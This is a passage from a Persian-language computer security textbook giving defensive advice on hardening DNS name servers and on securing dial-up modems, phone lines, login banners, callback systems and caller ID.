طرفـداران ايـن   .  يك پروتكـل پرطرفـدار اسـت   DNSSEC. كند را فراهم مي   DNSقابليت استفاده از آن براي امضاي پاسخهاي        
هاي گرانقيمت كه بوسيلة مراكـز صـدور    است كه به گواهيPKIاي براي كاربرد  پروتكل بر اين باورند كه استفاده از آن روش ساده   

 و ايـن مـسئله كـه كـاربرد آن در            DNSSECطلب  متأسفانه بعلت طبيعت شهرت   . شوند وابستگي ندارد    كز فروخته مي  گواهي متمر 
  .محيطهاي تجاري داراي سودآوري چنداني نيست، براي استفاده از آن در سطح وسيع تلاش بسيار كمي شده است

  :هاي نام توسط مهاجمان را كاهش دهيد دهنده توانيد احتمال دستكاري سرويس هاي زير مي با بكار بستن توصيه

 .اي به اجرا درآوريد كه كه فاقد حسابهاي كاربري باشد دهندة نام خود را روي رايانه سرويس •
 اجرا كنيد كه مورد استفادة كاربران معمولي است، مطمئن شويد   اي  دهندة نام خود را روي رايانه       چنانچه مجبور هستيد سرويس    •

دهنـدة نـام شـما     درصـورتيكه سـرويس  . شوندهاي نام از دسترسي كاربران محافظت مي ه دهند سرويسهاي  كه فايلها و شاخه   
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، بايـد از    )BINDهـاي جديـد       مثل نسخه (تواند طوري تنظيم شود كه با يك حساب كاربري فاقد امتياز دسترسي به اجرا در آيد                  مي
 .براي آن كاربر قابل دسترسي نماييددهندة نام را تنها  اين قابليت استفاده كنيد و فايلهاي سرويس

هـاي جديـد   مثـل نـسخه  ( سيستم فايـل اجـرا شـود    chroot jailتواند در يك محيط محدودشدة دهندة نام شما مي اگر سرويس •
BIND(توانيد از اين گزينه براي محدود كردن دسترسيِ آن به ديگر فايلهاي آن ميزبان استفاده كنيد ، مي. 

 در ٢٣٧. جعلـي را رد كنـد  IPاي پيكربندي كنيد كه درخواستهاي ارسالي از محدودة آدرسـهاي           ا بگونه دهندة نام خود ر     سرويس •
 .تواند براي اين منظور بكار آيد ميnamed.conf در فايل blackhole، دستور BINDسيستم 

 را بـه    DNSرشـوندة   هاي بازگشتي و تكرا   queryدهندة نام خود را طوري پيكربندي كنيد كه براي كاربران خارجي،              سرويس •
گيرنده گيرنده را بيابد، آن سرويس    دهندة شما در مورد يك تقاضا نتواند اطلاعات مورد نياز سرويس          اگر سرويس . اجرا در نياورد  

دهنـدة نـام را بكـار    هاي بازگشتي منابع سرويسqueryكند، اما هاي لازم براي تبديل نام مورد نظر را صادر مي     queryخود  
توانـد   مـي allow-recurtion، دسـتور  BINDدر سيستم . ا نبايد براي كاربران خارجي مورد استفاده قرار گيرند        گيرند و لذ  مي

 .هاي بازگشتي صادر كندqueryتواند گيرنده ميبررسي كند كه كدام سرويس
وگيري از فرستاده شـدن     توانيد براي جل    دهندة نام شما حمله كند، مي       شناسيد كه سعي دارد به سرويس     اگر پايگاه خاصي را مي     •

 استفاده كنيد و يا نام آن پايگاه را به فهرسـت  BIND سيستم bogsnsدهندة نام به آن از دستور    هاي سرويس queryنتايج  
 .سياه ديوارة آتش خود بيفزاييد

شدة آنهـا را  زنگاريروزرسانيها و يا امضاي رمگيريد، رمزگذاري صحيح به پويا را بكار ميDNSروزرساني  چنانچه قابليتهاي به  •
  . متكي نباشيدIPالزامي كنيد و هرگز براي تصديق هويت به آدرسهاي 

                                                                                                                                            
  . خواهد بوداستفاده نكند، اين آدرس در حيطة شبكة شما يك آدرس جعلي 10.0.0.8مثلاً چنانچه زيرشبكة شما از آدرس    ۲۳۷
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  فصل هفتم
 امنيت شبكه

  كليات
هـا، و يـا ارتباطـات       ها از طريـق مـودم، شـبكه       روند و بيشتر رايانه    بسيار كمي بعنوان ايستگاههاي كاري مستقل بكار مي        هايرايانه
هـا پيكربنـدي    ها را براي اتصال به شبكه اين فصل مسائل امنيتي را براي راهبراني كه رايانه.  هستند ها متصل  سيم به ديگر رايانه     بي
سـيم و   در اين فصل ابتدا نحوة اتصال رايانه به شبكه را با استفاده از مودمها، مسيريابها، و ابزار بـي   . دهد  كنند مورد بحث قرار مي    مي

   TCP/IPهـاي  دهيم، و سپس به اصول امنيـت شـبكه در شـبكه    آنها مورد مطالعه قرار ميبا توجه ويژه به مسائل امنيتي هريك از         
  .پردازيم مي-هاي محلي و نيز اينترنت   پروتكل غالب شبكه در شبكه-

  مودم
ز آنجا كه ا.  فعلي از رشد جهاني اينترنت، هنوز دلايل زيادي براي توجه به امنيت مودمها و خدمات تلفني مرتبط وجود دارد       مرحلةدر  
هزينه است، بسياري از اين خدمات همچنان مورد استفاده قرار دارند؛ آنچنـان    اندازي خدمات تلفني ساده و نگهداري از آن نيز كم           راه

هـاي   به همين دليل حتي با وجود دسترسي وسيع به شبكه . كه برخي از آنها به مدت يك دهه يا حتي بيش از آن درحال كار هستند               
اندازي يك شـبكه بـا اتـصالات    كنندة زيادي وجود داشته باشد كه شما را به راه   ت پرسرعت، ممكن است دلايل قانع     محلي و اتصالا  

اگر كاركنان سازمان شما بخواهند در منزل پس از ساعت اداري و يا در تعطـيلات آخـر هفتـه از رايانـة                       . مبتني بر مودم هدايت كند    
توانند بـا    از اين طريق راهبران هم مي     . تواند اين امكان را برايشان فراهم سازد       مودم مي  محل كار خود استفاده كنند، بكار بردن يك       

در اينحالت وقتي يكي از كاركنـان مـثلاً بـه يـك         . برقراري تماس تلفني با شبكة مورد نظر، آنرا از راه دور پشتيباني و راهبري كنند              
انة محل كار خود دسترسي داشته باشد؛ خصوصاً زمانيكه خـدمات اينترنتـي در              تواند با استفاده از مودم به راي      روستا هم سفر كند، مي    

  .سطح ملي هنوز ارائه نشده و يا اگر هم ارائه شده، ايمن نيست

از آنجا كه مردم معمولاً براي انتقـال نـام كـاربري و رمـز               .  همة اين مزايا، استفاده از مودم مخاطرات فراواني به همراه دارد           عليرغم
انـد، صـحيح      دهندة آن بدرستي نصب شـده     كنند، بايد اطمينان داشته باشيد كه مودم و برنامة سرويس          از مودم استفاده مي    عبور خود 
توانـد بـا اسـتفاده از    همچنين به اين دليل كه خدمات تلفني مي. دهند كنند، و دقيقاً آنچه كه شما انتظارِ آنرا داريد انجام مي        عمل مي 

و يا حتي يك تلفن همراه برقرار شود، يك فرد معمولي فاقد بدون دانـش يـا مجـوز خـاص از مـديريت      يك خط تلفن آنالوگ ساده     
  .تواند آنرا مورد استفاده قرار دهدسازمان نيز بسادگي مي

 و  مورد استفاده قرار گرفـت، ١٩٧٠ بوجود آمد، براي بار اول در دهة  ١٩٦٠ يك ابزار براي دسترسي از راه دور است كه در دهة             مودم
اي انـداز رايانـه   با اين وجود مودمها هنوز هم واجد جايگاه مهمي در چـشم         .  استفاده از آن عموميت يافت     ١٩٩٠ و   ١٩٨٠هاي    در دهه 

هايي كـه از سـاير جهـات مـورد     توانند به شبكهاند، ميدانند كه با يافتن مودمهايي كه بدرستي امن نشده    مهاجمان مي . امروز هستند 
  .اي بايد با نكات امنيتي مودمها آشنا باشند  همين دليل متخصصان امنيت رايانه  نفوذ نمايند، و بهمحافظت قرار دارند
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  امنيت مودمها

. تواند ميان رايانة شما و جهان خـارج از آن ايجـاد ارتبـاط كنـد               شود، چراكه مي  استفاده از مودم موجب پديد آمدن مسائل امنيتي مي        
توانند ودمها براي حذف اطلاعات حياتي و محرمانه استفاده كنند؛ و افراد خارج از سازمان نيز مي      ممكن است افراد درون سازمان از م      

تواننـد  ريزي مجـدد باشـند، مـي        اگر مودمهاي شما قابل تخريب و يا برنامه       . آنها را براي دسترسي غيرمجاز به رايانة شما بكار گيرند         
ا بكار روند؛ و دست آخر اينكه ممكن است مهاجمان بتوانند اطلاعـات انتقـالي از   بمنظور گمراه كردن كاربران و افشاي رمز عبور آنه  

  .طريق مودم را استراق سمع نمايند

دليل سادة اين مسئله    . هاي شركتهاي بزرگ هستند    گسترش اينترنت، مودمها هنوز وسيلة بسيار مناسبي براي نفوذ به شبكه           عليرغم
كنند، اما معمولاً مودمهـاي خـود را مـورد محافظـت يـا                ايِ خود را به شدت كنترل مي        هاين است كه هرچند شركتها ارتباطات شبك      

  .دهند و اين درحالي است كه براي به حداكثر رساندن ضريب امنيتي، مودمها بايد بصورت ايمن راهبري شوندمميزي قرار نمي

اي كـه   يزيكـي در مكـان امنـي قـرار دارنـد، بگونـه            اطمينان حاصل كنيد كه مودمها از نظـر ف        . گام اول، حفاظت از خود مودم است      
بـا  . هدف از اين نوع حفاظت، جلوگيري از دستكاري و تغيير اتـصالات مودمهـا اسـت               . دسترسي افراد غيرمجاز به آنها ممكن نيست      

ري و سـپس    هاي كوچـك را دسـتكا     برنامهتوان رمزهاي عبور و قطعه      بدست آوردن امتياز دسترسي مناسب به بعضي از مودمها، مي         
درصـورت  (هـاي پيكربنـدي مـودم       توانيد از گزينه  مي. بارگذاري مجدد كرد، و شما بايد بتوانيد از وقوع چنين مسائلي جلوگيري نماييد            

  .يادداشت برداريد و هر از چندگاه آنها را كنترل كنيد تا از دستكاري نشدن آنها مطمئن شويد) وجود

شـود انجـام تغييـرات بـراي        اين قابليت باعـث مـي     . ي پيكربندي و آزمايش از راه دور دارند        از مودمهاي امروزي قابليتي برا     بسياري
تر شود، اما از طرف ديگر سوء استفاده از مودم را براي مهاجم نيـز               كنند ساده   كارمنداني كه از راه دور، ادارات مختلفي را مديريت مي         

كنيـد، حتمـاً   ايي در مودم شما وجود دارنـد و از آنهـا اسـتفادة خاصـي نمـي          بنابراين مطمئن شويد اگر چنين ويژگيه     . نمايدآسانتر مي 
  .اندغيرفعال شده

تلفنهاي مودمها مانند رمز عبور خود برخورد كنيـد  با شماره. تلفنهاي آنها استجنبة مهم ديگري از حفاظت مودمها، حفاظت از شماره 
تلفنهاي مودمها، احتمال اسـتفادة مهاجمـان   عمومي كردن شماره. قرار ندهيدها را در اختيار كسي جز كساني كه به آن نياز دارند  و آن 

تلفنهاي مودم خـود را تغييـر   اگر سيستم تلفني شما اين قابليت را دارد كه شماره . دهداز آنها براي نفوذ به سيستم شما را افزايش مي         
هايي درخواست كنيد كه پيشوند مـشترك بـا شـماره             دمها شماره دهيد، حتماً بصورت ساليانه از اين قابليت استفاده نماييد، و براي مو           

  .تلفنهاي عادي سازمانتان ندارند و لذا احتمال حدس زده شدن آنها نيز نازل است

. تلفنهاي مودمها را مطلقاً محرمانه نگه داشت، چراكه به هرحال افرادي هستند كه بايد با آنها تماس بگيرند         توان شماره    نمي متأسفانه
هاي منطقة شما، خواهند توانـست      ها مراقبت كنيد، بازهم مهاجمان با گرفتن تمام شماره        رف ديگر حتي اگر شديداً از اين شماره       از ط 

حل مناسبي براي رفع اين مخاطره نيـست و مودمهـا نيازمنـد     كاريِ صرف، راه به همين دليل پنهان. هاي مودمهاي شما بيابند    شماره
  .تري هستند حفاظ محكم

Bannerها  

Banner به نمايش در   ) اي كه مودم به آن متصل است        يا رايانه (شود، توسط آن مودم      است كه وقتي با يك مودم تماس گرفته مي         پيامي
شوند؛ و برخي ديگر زماني بـه نمـايش در            گيرنده چيزي تايپ كند نمايش داده مي      ها پيش از اينكه تماس    bannerبرخي از   . آيدمي
  .نده با موفقيت تصديق هويت گرددگيرآيند كه تماسمي

Banner   اند و بدين ترتيب كـاربرد سيـستم را بهبـود        دهند كه به سيستم مورد نظر خود متصل شده           نشان مي  گيرندگان  تماسها به
اننـد كـار    تو  ها مي bannerاما از طرف ديگر     . توان در آنها هرگونه هشدار يا ابلاغيه قانوني را نيز قرار داد             بخشند، و همچنين مي   مي

ها bannerتوانند از روي      كنند، مي   تر كنند، چراكه مهاجماني كه تمام تلفنهاي يك منطقه يا شهر را پويش مي             مهاجمان را نيز ساده   
تلفنهاي آن، ساير اطلاعات تماس،     بنابراين از آوردن نام سازمان، شماره     . اند مودم چه سازماني را پيدا كرده      شمارةتشخيص دهند كه    
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همچنين بايد از كلماتي كه به      .  خودداري كنيد  bannerعامل رايانة مورد استفادة سازمان خود در           اطلاعاتي در مورد سيستم    و يا هر  
را به همراه دارند اجتناب كنيد، چراكه ممكـن اسـت از نظـر قـانوني بعنـوان دعـوت از كـاربران                       " آمدگويي  خوش"هر صورت معناي    

  : قرار گيرد آمده استbannerاتي در مورد آنچه كه بايد در ذيلاً پيشنهاد. غيرمجاز بحساب آيند

اعلام نكنيد كه . (اعلام كنيد كه هرگونه استفادة غيرقانوني از سيستم ممنوع است و ممكن است تحت پيگرد قانوني قرارگيرد •
حت پيگرد قانوني قرار گيرند و برخي قرار نگيرند، آنها در اينصورت اگر برخي از كاربران غيرمجاز ت. استفادة غيرقانوني حتماً پيگرد قانوني خواهد داشت

 ).توانند نسبت به اعمال انتخابي اين سياست عليه خود از شما شكايت كنند اند ميكه تحت پيگرد قرار گرفته
 .اعلام كنيد كه تمام كاربران سيستم ممكن است تحت نظارت قرار داشته باشند •
اند كه تحت نظارت قرار گرفته باشند و اين موضوع از  از سيستم، در حقيقت پذيرفتهبه كاربران اعلام كنيد كه با استفاده •

 .شرايط كار با سيستم است
 .آمدگويي به نمايش در نيايد  خوشbannerدر برخي شرايط بهتر است هيچ  •

  طرحهاي امنيتي

تواند با آن تماس      د، هر فردي در جهان مي     در سيستمهاي امروزي تلفن، اگر مودم رايانة خود را به يك خط تلفن خارجي متصل كني               
كـاربران معمـولاً رمزهـاي عبـور        . ناپذير نيستند آورند، اما اشتباه  اي از امنيت را بوجود مي       هرچند نام كاربري و رمز عبور درجه      . بگيرد

به همين  . زده شوند كنند، و حتي رمزهاي عبور مناسب نيز بعضاً ممكن است با ابزار مخصوص كشف و يا حدس                    ضعيف انتخاب مي  
ها در مقابل دسترسيهاي غيرمجـاز حفاظـت بيـشتري            دليل انواع خاصي از مودمها و روشهاي استفاده از آنها بوجود آمده كه از رايانه              

  .آوردبعمل مي

  مودمهاي مجهز به رمز عبور

مشابه سيستمهاي رمزهاي عبور . ور وارد كندنمايند كه يك رمز عب، وي را ملزم مي گيرنده به رايانه   پيش از اتصال تماس    مودمهااين  
پي رمزهاي عبور و يا افشاي رمز عبور يـك فـرد مجـاز              درتوان با حدس پي     كنند را نيز مي   معمولي، امنيتي كه اين مودمها ايجاد مي      

رمزهـاي  .  خود ذخيره كننـد     رمز عبور را در     توانند يك تا ده   معمولاً اين قبيل مودمها تنها مي     . دار كرد براي يك فرد غيرمجاز، خدشه    
  .شده در اين مودمها نبايد مشابه رمز عبور هيچيك از كاربران براي ورود به سيستم باشدعبور ذخيره

  تنظيم تماس بازگشتي

شـود، بـه    گيرد، به مودم متصل مي منظور از تماس بازگشتي تنظيماتي است كه طبق آن شخصي از بيرون با دستگاه شما تماس مي  
شـده بـا آن   كند و از طريق يـك شـمارة از پـيش تعيـين       كند، و سپس سيستم آن ارتباط را قطع مي        خود را معرفي مي   نحوي هويت   

هاي از پيش تأييدشده تماس خواهـد         تواند امنيت را افزايش دهد، چراكه سيستم تنها با شماره         اين روش مي  . گيردشخص تماس مي  
هـايي كـه در   معمولاً تعداد شـماره . ادار كنند كه با مودم آنها ارتباطي برقرار نمايدگرفت و لذا مهاجمان نخواهند توانست سيستم را و    

  .توانند ذخيره شوند محدود استبيشتر مودمهاي اينچنيني مي

براي صحت عملكرد، سيستمهاي تماس بازگشتي بايد تماس وارده را پيش از هر برقراري تماس كاملاً قطـع كننـد، امـا بـا كمـال                          
تواند بسيار دشوار باشد، و بنابراين بهتر خواهـد بـود كـه بـراي تماسـهايي كـه از طـرف                      ار در برخي از خطوط تلفن مي      ناباوري اينك 

  .شود، از مجموعه مودمهاي متفاوتي نسبت به تماسهاي وارده استفاده گرددسازمان برقرار مي

اگـر مهـاجم سـوئيچ    . كنـد نيـز وجـود وارد        اده مي امكان خرابكاري در سيستم تماس بازگشتي كه از دو مجموعه مودم مختلف استف            
  ريـزي شـده، يـك سيـستم          هايي كه مودم بـراي تمـاس بـا آنهـا برنامـه              تواند روي شماره    شركت تلفن را دستكاري كرده باشد، مي      
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تم را  توانند امنيت كلـي سيـس       تماسهاي بازگشتي مي  .  نصب كند و تماسهاي بازگشتي را به مودم خود منتقل نمايد           ٢٣٨هدايت تماس 
  .تقويت كنند، اما نبايد بعنوان ابزار اصلي حفظ امنيت بر آنها تكيه كرد

  مودمهاي رمزگذار

مودمهـاي  . كننـد   جفت بكار روند، كلية اطلاعات ارسالي و دريافتي از طريق خطوط تلفن را رمزگذاري مـي               اين مودمها كه بايد جفت    
سـمع    افرادي كه قصد دسترسي غيرمجاز دارند، بلكـه حتـي در مقابـل اسـتراق               نه تنها در مقابل      -رمزگذار درجة بالايي از امنيت را       

شـده هـستند كـه تنهـا     برخي مودمهاي رمزگذار حاوي كليد رمزنگـاري از پـيش تعيـين    . كنند   ايجاد مي  -تلفني از روي سيم انتقال      
تواننـد طبـق يـك روال مـشخص     ه مـي برخي ديگر نيز كليدهايي دارند ك . تواند بصورت جفتي با يك مودم خاص ديگر كار كند          مي

تـوان بـا   عليرغم تمام اين موارد بايد گفت كه بسياري از مزاياي مودمهـاي رمزگـذار را مـي         . تغيير يابند تا سطح امنيت را ارتقا دهند       
  . و مودمهاي استاندارد هم بدست آورد- PPP روي يك اتصال SSH مثل -هزينة كمتر و با استفاده از پروتكلهاي رمزنگار 

  ٢٣٩گيرنده هويت تماس

همانطور كـه از نـام آن   . استفاده كرد گيرنده توان از نوعي خدمات تلفني اضافه به نام سرويس هويت تماس در بسياري از مناطق مي   
كند، اين شـمارة    زدن مي   معمولاً زمانيكه تلفن شروع به زنگ       . كندگيرنده را مشخص مي     پيدا است، اين سرويس، شمارة تلفن تماس      

بسياري از مودمها مستقيماً واجد قابليت استفاده از اين شـماره           . آيدن روي صفحة كوچكي در كنار دستگاه تلفن به نمايش در مي           تلف
گيرنده را دريافـت كردنـد، آنـرا در    توانند هنگاميكه شمارة تماسريزي شوند ميهستند، و چنانچه بصورت صحيح پيكربندي و برنامه 

  .ار دهنداختيار رايانة ميزبان قر

  :گيرنده با خدمات دسترسي از راه دور وجود داردروشهاي مختلفي براي يكپارچه كردن سرويس هويت تماس

گيرنده را دريافت  توانند طوري پيكربندي شوند كه مستقيماً اطلاعات هويت تماس برخي از سيستمهاي دسترسي از راه دور مي •
بيشتر سيستمهاي دسترسي از راه . شده به ثبت برسانندكاربري ارائه اس و نامكنند و اطلاعات آنرا در كنار زمان برقراري تم

 كار كنند، داراي T1 Flex-Path، و مدارهاي ISDN PRI معمولي، ISDNشده روي توانند با خطوط تلفن ارائهدور كه مي
  .باشند ميRADIUS٢٤٠گيرنده در فايلهاي  قابليت ثبت اطلاعات هويت تماس

برخلاف نام كاربري و رمز . گيرنده براي رديابي مهاجمان بسيار مفيد خواهد بود لات، استفاده از هويت تماسپس از انجام حم •
گيرنده در اكثر قريب به اتفاق  عبور كه ممكن است توسط يك فرد غيرمجاز دزديده و استفاده شوند، اطلاعات هويت تماس

 .باشد كنندة منبع واقعي حمله مي موارد مشخص
توانيد روي همان خط يك مودم ديگر بصورت  گيرنده است، مي م دسترسي از راه دور شما فاقد قابليت هويت تماساگر سيست •

ريزي كنيد كه در زنگ سوم يا چهارم به مودم اول پاسخ دهد، و از  موازي با مودم اول نصب كنيد، رايانة خود را طوري برنامه
در اينحالت لازم است كه اين دو فايل ثبت را . گيرنده استفاده نماييد سيك برنامة ثالث و مودم دوم براي ثبت هويت تما

 .خودتان بصورت دستي و يا با استفاده از يك ابزار مخصوص با يكديگر تركيب كنيد
اين قابليت . دهند  نيز ارائه مي٢٤١گروههاي تماس محدود نام   و چند سيستم ديگر تلفني، قابليت ديگري بهISDNسيستم  •

تلفنها مشخص سازيد كه مجاز به برقراري تماس با مودم هستند و پس از كند كه بتوانيد فهرستي از شمارهدر ميشما را قا
 .هاي ديگر مسدود خواهند شد گيرنده فعال شدن اين قابليت، تمام تماس

                                                                                                                                            
238  Call Forwarding 
239  Caller-ID 

هـاي   دهنده به سرويس، پروتكلي است كه )RADIUS؛ Remote Authentication Dial-In User Service(سرويس تصديق هويت كاربر در تماس از راه دور    ۲۴۰
  .توضيح داده شده است ۲۱۳۸شمارة  RFCدر پروتكل اين . تصديق كنند دور  راهةپايگاه دادرا با استفاده از يك دهد هويت كاربران تلفني  اجازه ميايپايانه

241  Restricted Calling Groups 
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اري از سيستمهاي تلفني شركتها بسي. توانند به اندازة زيربناي شبكة تلفني خود امن باشندخدمات تلفني پيشرفتة اينچنيني تنها مي
آيد را خودشان تعيين كنند؛ و گيرنده كه روي دستگاه تلفن به نمايش در مي دهند تا اطلاعات هويت تماس به مشتركين اجازه مي

شمارة ريزي نمايند كه هر  اي برنامهتوانند آنرا بگونه بدين ترتيب مهاجماني كه كنترل سيستم تلفني شركت را در دست بگيرند مي
گيرنده و يا دلخواه آنها را به نمايش در آورد، و لذا در اينصورت قادر هستند از سد هر سيستم امنيتي كه تنها به هويت تماس

  .گروههاي تماس محدود متكي باشد عبور كنند

  طرحهاي مداخلة فيزيكي

 امكان پشتيباني و رفع اشكال از راه دور فراهم شود تا براي مسئولان فني خارج از اداره افزار وصل مي زمانيكه مودم به يك سخت
يك روش ساده . كند، مطمئناً بايد از وصل شدن كاربران غيرمجاز به اين مودمها و تغيير پيكربندي تجهيزات خود جلوگيري نماييد

وع كار خود با متصدي و كارآ اين است كه خط تلفن را از مودم قطع كنيد و از مسئولان فني بيرون اداره بخواهيد كه قبل از شر
و يا حتي بصورت برعكس، تا از احتمال انجام حملات مهندسي (تلفن تماس بگيرند و از او بخواهند كه سيم تلفن را به مودم وصل كند 

اينكار و (نمايد تا اين افراد بتوانند كار خود را انجام دهند سپس متصدي تلفن، خطوط تلفني را به مودم وصل مي). اجتماعي كاسته شود
  .كندشدن كار نيز مجدداً سيم را از مودم قطع ميو پس از انجام) سازدخود را در دفتر ثبتها مندرج مي

  خطوط تلفني يكطرفه

كنند كه هم بتوانند با آنها تماس تلفني را آغاز كنند و هم بسياري از ادارات، مودمها و خطوط تلفني خود را طوري پيكربندي مي
اين روش ممكن است به نظر يك روش اقتصادي براي استفادة حداكثر از مودمها و خطوط . ريافتي را پاسخ دهندبتوانند تماسهاي د

از مودمهايي كه توانايي برقراري تماس دارند ممكن است براي برقراري . تلفن بيايد، اما متضمن مخاطرات امنيتي زيادي است
وقتي روي مودم، هم آغاز تماس و هم پاسخگويي به تماسهاي . اده كردتماسهاي رايگان و البته در حقيقت به خرج شما استف

دار تواند امنيت شما را خدشه تماس بازگشتي يا اشغال خطوط تماس مي دريافتي ممكن باشد، دستكاري و سوء استفاده از سيستم
  .كند

در بيشتر . كندامنيت سيستم شما ارتقا پيدا مياي براي آغاز تماس و دريافت تماس استفاده كنيد، درصورتيكه از مودمهاي جداگانه
  .ها هزينة برقراري خطوط تلفني اضافه در مقايسه با كارآيي و امنيت آن بسيار ناچيز استاداره

  :توانيد هر از چندگاه پيكربندي خطوط تلفن خود را كنترل كنيد تا از صحت نكات زير مطمئن شويدعلاوه بر اين موارد، مي

 آندسته از خطوط تلفن كه قرار نيست با آنها بتوان تماسهاي راه دور برقرار كرد، امكان انجام اينكار وجود مطمئن شويد در •
 .شايد اصلاً لزومي نداشته باشد كه خطوط تلفن عادي شما قابليت برقراري تماس راه دور داشته باشند. ندارد

توان تماسي با خارج از سازمان روند نميدريافتي بكار ميمطمئن شويد با استفاده از خطوط تلفني كه تنها براي تماسهاي  •
 .برقرار كرد

. كنندة هيچ تماسي باشندتوانند دريافتشود نميمطمئن شويد خطوط تلفني كه از آنها تنها براي آغاز تماس استفاده مي •
 .توان از آن به اين منظور استفاده نمودقابليتي است كه مي" هدايت تماس"

  مها و خطوط تلفنحفاظت از مود

شود، اما بايد گفت كه پرداختن به آن به اندازة ايمن كردن  هرچند حفاظت فيزيكي مودمها و خطوط تلفن معمولاً ناديده گرفته مي
  :رعايت نكات زير را هرگز از ياد نبريد. اي كه مودمها و خطوط تلفن به آن متصل هستند مهم است رايانه
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  خود را تحت نظر داشته باشيددسترسي فيزيكي به خطوط تلفني 
تقسيمها را قفل كنيد و سيمهاي تلفني را در سيمپوشهاي تمام جعبه. مطمئن شويد كه خطوط تلفني شما از نظر فيزيكي امن هستند

مهاجمي كه به خط تلفن شما دسترسي . مخصوص الكتريكي قرار دهيد كه درون ديوارها و يا حداقل در يك محفظة قفلدار باشد
تواند مودم خود را به آن متصل كند و تماسهاي تلفني شما را پيش از آنكه به رايانة شما برسند از آن خود  ي داشته باشد ميفيزيك

همچنين مهاجم ممكن است بجاي دزديدن . نمايد، و سپس با گمراه كردن كاربران، نام كاربري و رمز عبور آنها را بدست آورد
اي از تمام اطلاعات ارسالي روي آن خط تلفن از هر دو سمت را  نظر بگيرد و با اينكار نسخهتماسهاي تلفني، آنها را فقط تحت 

تنها رمزهاي عبور سيستم شما، بلكه رمز عبور تمام سيستمهايي كه در اينصورت مهاجم نه. برداري كندآوري و براي خود نسخهجمع
  .شود را بدست خواهد آوردكاربر به آنها متصل مي

  دهند ابيد كه خطوط تلفنيِ مخصوص دريافت تماس، اجازة هدايت تماس را نمياطمينان ي
تواند با دستكاري در پيكربندي، تمام تماسهاي دريافتي را به  اگر سيستم تلفن شما قابليت هدايت تماس داشته باشد، مهاجم مي

 باشد كه رفتار آن مثل سيستم شما تنظيم شده باشد، اي قرار گرفته اگر در اين شمارة جديد، رايانه. شمارة مورد نظر خود منتقل كند
  .ممكن است كاربران فريب بخورند و نام كاربري و رمز عبور خود را وارد نمايند

  از شركت تلفن خود بخواهيد قابليت پرداخت شخص ثالث را براي سيستم شما غيرفعال كند
  .تماسهاي خود را به گردن خط تلفن مربوط به مودم شما بيندازندتوانند هزينة  بدون وجود قابليت پرداخت شخص ثالث، افراد نمي

  استفاده از يك خط استيجاري مستقيم مخابراتي را مد نظر داشته باشيد
خطوط . شود، به فكر اجارة يك خط مستقيم مخابراتي باشيداگر همة استفادة شما از مودم به يك محل بيروني خاص مربوط مي

شوند و مثل ، مدارهاي اختصاصي ميان دو نقطه هستند كه توسط شركت مخابرات ارائه مي)leased lines(استيجاري مستقيم 
بنابراين استفاده از چنين خطي شما . توان از آنها براي آغاز يا دريافت تماس استفاده كرد كنند كه نميكابلهاي اختصاصي عمل مي

دهد كسي با مودم شما تماس بگيرد  ي را حفظ كنيد، اما درعين حال اجازه نميكند كه بتوانيد تماس خود با آن ادارة بيرونرا قادر مي
غالباً خطوط استيجاري مستقيم هزينة بيشتري از خطوط معمولي دارند، اما امنيت زياد آنها . و سعي در نفوذ به سيستم شما نمايد

ر هم دارند و آن اينكه معمولاً انتقال داده از طريق اين خطوط يك مزيت ديگ. تواند بعنوان جبران اين هزينه درنظر گرفته شودمي
  .آنها بسيار سريعتر از انتقال داده از طريق خطوط معمولي تلفن است

  آزمودن مودمها

اول مطمئن شويد كه مودم در شرايط . پس از اتصال مودم، بايد توانايي آن در برقراري و دريافت تماس را بطور كامل بيازماييد
 بصورت  دهد، رايانهاي رخ ميپس از آن اطمينان حاصل كنيد در حالتي كه حادثة غيرمنتظره. كند ح عمل ميعادي بصورت صحي

هاي مربوط به آن ارتباط تلفني را از حافظه  بايد تمام پردازه بعنوان مثال اگر ارتباط تلفني قطع شود، رايانه. واكنش قابل قبولي دارد
.  كاربر قبلي دسترسي داشته باشد٢٤٢دستورپردازگيرندة بعدي به كند، نه اينكه اجازه دهد تماسو كاربر مربوطه را از سيستم خارج 

بطوريكه رايانه همواره از برقرار بودن ( است  بيشتر اين آزمايشها بمنظور كسب اطمينان از ارسال صحيح سيگنالهاي كنترلي مودم به رايانه
  .دهداختيار داشتن اين اطلاعات، از خود رفتار صحيحي نشان مي، و نيز اينكه رايانه با در )تماس اطلاع دارد

  آزمون شروع

ايد، لازم است بررسي كنيد كه هم در زمان ايجاد و هم در زمان قطع  درصورتيكه مودم خود را براي برقراري تماس تنظيم كرده
كند تماس دانيد بدرستي رفتار ميز قبل ميبراي آزمودن مودم، بايد با رايانة ديگري كه ا. كندتماسها، بصورت صحيح عمل مي
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خواهيد از آن تماس را ايجاد كنيد تماس برقرار نسازيد؛ چراكه در اينصورت اگر مشكلي بوجود بيايد متوجه نخواهيد شد كه اي كه ميبا همان رايانه. (بگيريد
  ).اشكال كار از كجا است

  :عمليات آزمون را بدينصورت انجام دهيد

دهد قاعدتاً هر بار كه رايانه پاسخ مي. ساز پايانه، با يك رايانة راه دور تماس بگيريداستفاده از يك برنامة شبيهسعي كنيد با  .١
در اين مرحله شما بايد قادر باشيد از راه دور به رايانه وارد شويد و طوري از آن استفاده . كنيد دريافت مي٢٤٣اعلان وروديك 

 .ل هستيدكنيد كه گويي مستقيماً به آن متص
برنامة پايانه بايد متوجه . اتصال با رايانة راه دور را با درآوردن سيم تلفن از مودمي كه ارتباط را برقرار كرده قطع كنيد .٢

 .شدن اتصال بشود قطع
 .شودمجدداً برنامه بايد متوجه موضوع ب. بار ديگر با رايانة راه دور تماس بگيريد و با خاموش كردن مودم اتصال را قطع كنيد .٣
در اينحالت مودم بايد . اينبار همينطور كه اتصال تلفني برقرار است از برنامه خارج شويد. مجدداً با رايانة راه دور تماس بگيريد .٤

 .بطور خودكار ارتباط را با رايانة راه دور قطع كند
يا (پردازة پايانه در رايانة خود  كردن killبا افزاري و اينبار اتصال را بصورت نرم. براي آخرين بار با رايانة راه دور تماس بگيريد .٥

باز هم مودم بايد بطور خودكار . قطع كنيد) Windows در سيستمهاي تحت Task Managerاي ديگر و يا با استفاده از برنامة از پايانه
 .ارتباط با رايانة راه دور را قطع نمايد

  : كنيد به شرح زير هستندتوانيد كنترلساير مواردي كه در مورد برقراري تماس مي

يك رشتة .  وجود ندارد٢٤٤هاي فراررشتهريزي مودم با فرستادن  اطمينان حاصل كنيد كه هيچ راهي براي ورود به حالت برنامه •
مثلاً بيشتر . ريزي كنيددهد كنترل مودم را بدست گرفته و آنرا برنامهاي از كاراكترها است كه به شما اجازه ميفرار، دنباله

